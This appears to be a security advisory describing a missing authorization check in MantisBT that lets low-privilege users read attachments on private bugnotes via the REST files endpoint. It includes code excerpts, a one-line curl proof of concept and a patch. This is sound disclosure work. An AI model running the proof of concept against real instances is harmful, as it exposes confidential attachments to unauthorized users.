# Private Bugnote Attachment Content Leak via REST API **Validation: Code trace** (TODO — manual review required, lint-added 2026-04-16) ## Summary A missing authorization check in MantisBT's file visibility function allows any authenticated user (REPORTER+) to view attachments on **private bugnotes** they should not be able to access, via the REST API endpoint `GET /api/rest/issues/{id}/files`. ## Vulnerability Details - **CWE**: CWE-862 (Missing Authorization) - **CVSS 3.1**: 6.5 (Medium) — `AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N` - **Affected Version**: MantisBT 2.29.0-dev (and likely all prior versions with REST API) - **Auth Required**: Any authenticated user with `view_attachments_threshold` (default: VIEWER, access level 10) ## Root Cause `file_can_view_bugnote_attachments()` in `core/file_api.php:298-310` does NOT pass `$p_bugnote_id` to `file_can_view_or_download()`: ```php function file_can_view_bugnote_attachments( $p_bugnote_id, $p_uploader_user_id = null, $p_bug_id = null ) { if( $p_bugnote_id == 0 ) { return true; } // ... return file_can_view_or_download( 'view', $t_bug_id, $p_uploader_user_id ); // ^^^^ no bugnote_id } ``` Compare with `file_can_download_bugnote_attachments()` at line 334-340 which **correctly** passes it: ```php function file_can_download_bugnote_attachments( $p_bugnote_id, $p_uploader_user_id = null ) { // ... return file_can_view_or_download( 'download', $t_bug_id, $p_uploader_user_id, $p_bugnote_id ); // ^^^^^^^^^^^^ } ``` When `$p_bugnote_id` is passed, `file_can_view_or_download()` (line 260-264) uses `access_has_bugnote_level()` which checks the bugnote's `view_state` against `private_bugnote_threshold`. Without it, only a bug-level access check is performed, ignoring note privacy. ## Data Flow 1. `GET /api/rest/issues/{id}/files` -> `IssueFileGetCommand::process()` (core/commands/IssueFileGetCommand.php:65) 2. -> `file_get_visible_attachments($this->issue_id)` (line 78) 3. -> `file_can_view_bugnote_attachments()` called at file_api.php:501 — **does NOT check bugnote view_state** 4. -> `file_get_content($t_attachment['id'])` (line 85) returns full file content 5. Response includes metadata AND base64-encoded content for ALL attachments, including those on private bugnotes ## Impact - **REPORTER** (access level 25) can view file attachments that were uploaded to **private bugnotes** by DEVELOPER/MANAGER/ADMIN users - Private bugnotes are intended for internal developer discussion; their attachments (logs, screenshots, patches) should be equally protected - The web UI is NOT affected — it filters through `bugnote_get_all_visible_bugnotes()` first ## Proof of Concept ```bash #!/bin/bash # PoC: Private bugnote attachment leak via REST API # # Prerequisites: # 1. MantisBT instance at $MANTIS_URL # 2. A bug with a private bugnote that has an attachment # 3. API token for a REPORTER user (who should NOT see private bugnote attachments) MANTIS_URL="http://localhost:8989" API_TOKEN="YOUR_REPORTER_API_TOKEN" ISSUE_ID=1 # Step 1: Create a private bugnote with attachment (as DEVELOPER/ADMIN) # This would normally be done via the web UI: # - Go to issue #1 # - Add a bugnote with "Private" view state # - Attach a file to the bugnote # Step 2: As REPORTER, fetch all attachments for the issue curl -s -H "Authorization: ${API_TOKEN}" \ "${MANTIS_URL}/api/rest/issues/${ISSUE_ID}/files" | python3 -m json.tool # Expected: Should NOT include attachments from private bugnotes # Actual: Returns ALL attachments including those on private bugnotes, # with full base64-encoded content ``` ## Fix In `file_can_view_bugnote_attachments()`, pass `$p_bugnote_id` to `file_can_view_or_download()`: ```php function file_can_view_bugnote_attachments( $p_bugnote_id, $p_uploader_user_id = null, $p_bug_id = null ) { if( $p_bugnote_id == 0 ) { return true; } if( $p_bug_id === null ) { $t_bug_id = bugnote_get_field( $p_bugnote_id, 'bug_id' ); } else { $t_bug_id = (int)$p_bug_id; } return file_can_view_or_download( 'view', $t_bug_id, $p_uploader_user_id, $p_bugnote_id ); // ^^^^^^^^^^^^ } ```